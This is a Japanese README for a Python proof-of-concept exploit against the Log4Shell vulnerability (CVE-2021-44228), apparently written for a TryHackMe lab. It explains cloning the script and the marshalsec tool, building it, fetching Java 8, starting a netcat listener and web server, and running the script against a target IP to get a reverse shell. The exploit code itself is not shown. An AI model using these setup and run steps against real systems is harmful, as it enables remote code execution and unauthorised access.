
CVE-2021-44228(Log4Shell)向けのPython概念実証コードで、細工されたJavaペイロードによる悪用を自動化し、カスタマイズ可能なGETリクエストとリバースシェル配信のためのargparseオプションを備えています。
このPythonスクリプトは、Log4j の TryHackMe ルームに取り組んでいる間に作成しました。このルームのデフォルト変数で作成しましたが、argparseを使用してGETリクエストに対応できるように汎用性を持たせています。必要な変数はすべてオプションで変更可能です。詳細は -h を参照してください。
ここには私のスクリプトのみをホストしています。これを正しく実行するには、他に2つのダウンロードが必要で、そのリンクを提供します。私が行ったようにフォルダを設定すれば、スクリプトはほとんど手間なく動作します。まず、log4jフォルダ(または好きな名前)を作成し、このリポジトリをgit cloneして、poc.pyを /log4j/ に移動してください。
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
次に、先ほど作成したのと同じディレクトリに marshalsec をクローンします。そして、mavenを使用してビルドします。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
最後に、Java 8のいずれかのバージョンを ダウンロード する必要があります。このスクリプトでは、-j のデフォルト値は 'jdk1.8.0_20' です。
すべてを展開した後の新しいディレクトリは、次のようになります。
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
このセットアップが完了したら、別のバージョンのJavaを使用したい場合は、-j NAME_OF_JAVA_FOLDER で指定できます。
ヘルプメニュー

スクリプトにはTHMルームで提供されたペイロードが含まれています。使用したいIP/ポートに変更してください。

java_payloadで指定したポートでシェルを受け取るためにnetcatリスナーを起動します。
ポート8000でPythonウェブサーバーを起動します。
コマンド例:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
出力例とリバースシェル:
